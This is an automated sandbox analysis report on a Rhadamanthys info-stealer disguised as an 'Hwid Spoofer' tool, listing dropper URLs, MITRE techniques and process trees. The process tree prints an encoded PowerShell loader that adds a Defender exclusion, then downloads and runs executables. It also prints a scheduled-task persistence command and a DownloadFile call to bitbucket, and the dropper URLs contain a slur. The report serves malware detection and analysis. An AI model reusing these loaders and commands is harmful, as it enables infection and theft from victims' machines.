rhadamanthys | hxxp://blob[:]hxxps://web[.]telegram[.]org/37de6885-56e0-45c6-8e38-d15e8bc8fe83

Analysis

max time kernel
138s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
09-06-2024 10:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://blob:https://web.telegram.org/37de6885-56e0-45c6-8e38-d15e8bc8fe83

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/FUCKOFFNIGGA/raw

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/gedegrereghh/fuckyougithub/raw/37140025d15f5d49ec2bd023f7557f06268d7c49/pancake-unpacked.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 856 created 3040	856	qlowmhds.bky1.exe	52
PID 2692 created 3040	2692	ftnki1am.ou11.exe	52
PID 4744 created 3040	4744	jqofc0js.cqy1.exe	52

Blocklisted process makes network request 7 IoCs

flow	pid	Process
73	1480	powershell.exe
75	1480	powershell.exe
78	4668	powershell.exe
80	2308	powershell.exe
81	2308	powershell.exe
82	5052	powershell.exe
83	5052	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	Hwid Spoofer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	qlowmhds.bky0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	Hwid Spoofer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	ftnki1am.ou10.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	Hwid Spoofer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	jqofc0js.cqy0.exe

Executes dropped EXE 9 IoCs

pid	Process
4640	Hwid Spoofer.exe
2140	qlowmhds.bky0.exe
856	qlowmhds.bky1.exe
2484	Hwid Spoofer.exe
2840	ftnki1am.ou10.exe
2692	ftnki1am.ou11.exe
1352	Hwid Spoofer.exe
3812	jqofc0js.cqy0.exe
4744	jqofc0js.cqy1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
74	bitbucket.org
75	bitbucket.org
78	bitbucket.org
81	bitbucket.org
83	bitbucket.org

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1480	powershell.exe
4668	powershell.exe
2308	powershell.exe
5052	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2100	schtasks.exe

Delays execution with timeout.exe 8 IoCs

evasion

pid	Process
2216	timeout.exe
3956	timeout.exe
4348	timeout.exe
2456	timeout.exe
1272	timeout.exe
4256	timeout.exe
2332	timeout.exe
4900	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
1100	msedge.exe
1100	msedge.exe
2144	msedge.exe
2144	msedge.exe
820	identity_helper.exe
820	identity_helper.exe
1672	msedge.exe
1672	msedge.exe
1480	powershell.exe
1480	powershell.exe
1480	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
856	qlowmhds.bky1.exe
856	qlowmhds.bky1.exe
2308	powershell.exe
2308	powershell.exe
4400	dialer.exe
4400	dialer.exe
2308	powershell.exe
4400	dialer.exe
4400	dialer.exe
540	msedge.exe
540	msedge.exe
540	msedge.exe
540	msedge.exe
2692	ftnki1am.ou11.exe
2692	ftnki1am.ou11.exe
3828	dialer.exe
3828	dialer.exe
3828	dialer.exe
3828	dialer.exe
5052	powershell.exe
5052	powershell.exe
5052	powershell.exe
4744	jqofc0js.cqy1.exe
4744	jqofc0js.cqy1.exe
4080	dialer.exe
4080	dialer.exe
4080	dialer.exe
4080	dialer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeRestorePrivilege	4588	7zG.exe
Token: 35	4588	7zG.exe
Token: SeSecurityPrivilege	4588	7zG.exe
Token: SeSecurityPrivilege	4588	7zG.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
4588	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe
2144	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2232	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 860	2144	msedge.exe	82
PID 2144 wrote to memory of 860	2144	msedge.exe	82
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 3528	2144	msedge.exe	83
PID 2144 wrote to memory of 1100	2144	msedge.exe	84
PID 2144 wrote to memory of 1100	2144	msedge.exe	84
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85
PID 2144 wrote to memory of 816	2144	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:3040
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4400
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3828
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4080

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://blob:https://web.telegram.org/37de6885-56e0-45c6-8e38-d15e8bc8fe83
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8958546f8,0x7ff895854708,0x7ff895854718
  2⤵
  PID:860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2052 /prefetch:2
  2⤵
  PID:3528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2932 /prefetch:8
  2⤵
  PID:816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:4520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:1636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4208 /prefetch:1
  2⤵
  PID:4748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4680 /prefetch:1
  2⤵
  PID:520
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5228 /prefetch:8
  2⤵
  PID:3284
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5228 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:4640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
  2⤵
  PID:2988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4736 /prefetch:1
  2⤵
  PID:1948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=2216 /prefetch:8
  2⤵
  PID:848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5800 /prefetch:1
  2⤵
  PID:5112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5648 /prefetch:1
  2⤵
  PID:1756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
  2⤵
  PID:556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5464 /prefetch:1
  2⤵
  PID:4100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2028,1766299165690240981,17021507578764041561,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3344 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:540

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:824

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4772

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2232

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2604

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap3318:156:7zEvent21067
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4588

C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main\Hwid Spoofer.exe
"C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main\Hwid Spoofer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBtAG4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBuAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABlAG0AIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEYAVQBDAEsATwBGAEYATgBJAEcARwBBAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAHYAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG4AagBkACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAeQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB6AHUAagAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBmAHcAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHkAYwBoACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1480
- - C:\Users\Admin\AppData\Roaming\qlowmhds.bky0.exe
    "C:\Users\Admin\AppData\Roaming\qlowmhds.bky0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2140
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FAD6.tmp\FAD7.tmp\FAD8.bat C:\Users\Admin\AppData\Roaming\qlowmhds.bky0.exe"
      4⤵
      PID:3512
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:4092
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5080
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:2928
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4932
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:1016
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Creates scheduled task(s)
        
        PID:2100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:4724
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:3648
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:412
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:2916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/gedegrereghh/fuckyougithub/raw/37140025d15f5d49ec2bd023f7557f06268d7c49/pancake-unpacked.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        5⤵
        Blocklisted process makes network request
